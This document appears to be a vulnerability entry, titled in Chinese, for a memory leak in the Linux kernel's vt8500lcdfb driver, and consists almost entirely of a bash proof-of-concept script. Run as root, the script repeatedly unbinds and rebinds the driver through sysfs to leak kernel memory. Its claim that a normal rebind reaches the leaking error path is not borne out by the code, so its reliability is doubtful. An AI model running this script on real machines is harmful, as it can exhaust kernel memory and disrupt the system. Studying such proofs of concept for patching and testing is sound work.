CVE-2026-43202 Linux内核vt8500lcdfb内存泄漏漏洞

#!/bin/bash # Proof of Concept (PoC) for CVE-2026-43202 # This script attempts to trigger the memory leak by unbinding and rebinding the driver. # Requires root privileges or access to sysfs. DRIVER_PATH="/sys/bus/platform/drivers/vt8500-lcd" DEVICE_ID="vt8500-lcd.0" # Example device ID, may vary echo "Attempting to trigger memory leak in vt8500lcdfb..." if [ -d "$DRIVER_PATH" ]; then # Loop to trigger the error path multiple times for i in {1..100}; do # Unbind the device (trivers probe/release) if [ -e "$DRIVER_PATH/unbind" ]; then echo "$DEVICE_ID" > "$DRIVER_PATH/unbind" 2>/dev/null fi # Bind the device (triggers probe/alloc) if [ -e "$DRIVER_PATH/bind" ]; then echo "$DEVICE_ID" > "$DRIVER_PATH/bind" 2>/dev/null fi echo "Iteration $i completed." done echo "Check kernel logs (dmesg) for memory allocation issues." else echo "Driver path not found. Target system may not be vulnerable or driver not loaded." fi